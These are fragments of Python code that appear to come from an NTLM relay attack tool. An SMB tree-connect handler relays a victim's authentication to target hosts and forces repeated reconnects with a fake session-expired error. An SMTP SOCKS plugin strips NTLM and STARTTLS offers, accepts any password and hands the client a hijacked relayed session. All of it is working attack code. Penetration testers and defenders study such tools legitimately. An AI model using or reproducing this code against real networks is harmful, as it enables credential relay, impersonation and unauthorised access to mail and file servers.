                LOG.debug("Downgrading to standard security")
                extSec = False
                recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['relayToHost'] = True
            connData['Authenticated'] = False
            del (connData['NEGOTIATE_MESSAGE'])
            del (connData['CHALLENGE_MESSAGE'])
            del (connData['AUTHENTICATE_MESSAGE'])
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        resp = smb.NewSMBPacket()
        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE

        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']
        resp['Pid'] = connData['Pid']

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
        respData = smb.SMBTreeConnectAndXResponse_Data()

        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(
            SMBCommand['Parameters'])

        if treeConnectAndXParameters['Flags'] & 0x8:
            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters(
            )

        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(
            flags=recvPacket['Flags2'])
        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[
            'PasswordLength']
        treeConnectAndXData.fromString(SMBCommand['Data'])

        ## Process here the request, does the share exist?
        UNCOrShare = decodeSMBString(recvPacket['Flags2'],
                                     treeConnectAndXData['Path'])

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # This is the key, force the client to reconnect.
        # It will loop until all targets are processed for this user
        errorCode = STATUS_NETWORK_SESSION_EXPIRED
        resp['ErrorCode'] = errorCode >> 16
        resp['_reserved'] = 0o3
        resp['ErrorClass'] = errorCode & 0xff

        if path == 'IPC$':
            respData['Service'] = 'IPC'
        else:
            respData['Service'] = path
        respData['PadLen'] = 0
        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'],
                                                       'NTFS')

        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        resp['Uid'] = connData['Uid']
        resp.addCommand(respSMBCommand)
        smbServer.setConnectionData(connId, connData)

        return None, [resp], errorCode
    def skipAuthentication(self):
        self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready' + EOL)

        # Next should be the client sending the EHLO command
        cmd, params = self.recvPacketClient().split(' ', 1)
        if cmd.upper() == 'EHLO':
            clientcapabilities = self.getServerEhlo().split('\n')
            # Don't offer these AUTH options so the client won't use them
            # also don't offer STARTTLS since that will break things
            blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM']
            for cap in blacklist:
                if cap in clientcapabilities:
                    clientcapabilities.remove(cap)

            # Offer PLAIN auth for specifying the username
            if 'AUTH PLAIN' not in clientcapabilities:
                clientcapabilities.append('AUTH PLAIN')
            # Offer LOGIN for specifying the username
            if 'AUTH LOGIN' not in clientcapabilities:
                clientcapabilities.append('AUTH LOGIN')

            LOG.debug('SMTP: Sending mirrored capabilities from server: %s' %
                      ', '.join(clientcapabilities))
            # Prepare capabilities
            delim = EOL + '250-'
            caps = delim.join(clientcapabilities[:-1]
                              ) + EOL + '250 ' + clientcapabilities[-1] + EOL
            self.socksSocket.send('250-%s' % caps)
        else:
            LOG.error(
                'SMTP: Socks plugin expected EHLO command, but got: %s %s' %
                (cmd, params))
            return False
        # next
        cmd, params = self.recvPacketClient().split(' ', 1)
        args = params.split(' ')
        if cmd.upper() == 'AUTH' and args[0] == 'LOGIN':
            # OK, ask for their username
            self.socksSocket.send('334 VXNlcm5hbWU6' + EOL)
            # Client will now send their AUTH
            data = self.socksSocket.recv(self.packetSize)
            # This contains base64(username), decode
            creds = base64.b64decode(data.strip())
            self.username = creds.upper()
            # Client will now send the password, we don't care for it but receive it anyway
            self.socksSocket.send('334 UGFzc3dvcmQ6' + EOL)
            data = self.socksSocket.recv(self.packetSize)
        elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN':
            # Simple login
            # This contains base64(\x00username\x00password), decode and split
            creds = base64.b64decode(args[1].strip())
            self.username = creds.split('\x00')[1].upper()
        else:
            LOG.error(
                'SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s'
                % (cmd, params))
            return False

        # Check if we have a connection for the user
        if self.activeRelays.has_key(self.username):
            # Check the connection is not inUse
            if self.activeRelays[self.username]['inUse'] is True:
                LOG.error(
                    'SMTP: Connection for %s@%s(%s) is being used at the moment!'
                    % (self.username, self.targetHost, self.targetPort))
                return False
            else:
                LOG.info('SMTP: Proxying client session for %s@%s(%s)' %
                         (self.username, self.targetHost, self.targetPort))
                self.session = self.activeRelays[
                    self.username]['protocolClient'].session
        else:
            LOG.error('SMTP: No session for %s@%s(%s) available' %
                      (self.username, self.targetHost, self.targetPort))
            return False

        # We arrived here, that means all is OK
        self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL)
        self.relaySocket = self.session.sock
        self.relaySocketFile = self.session.file
        return True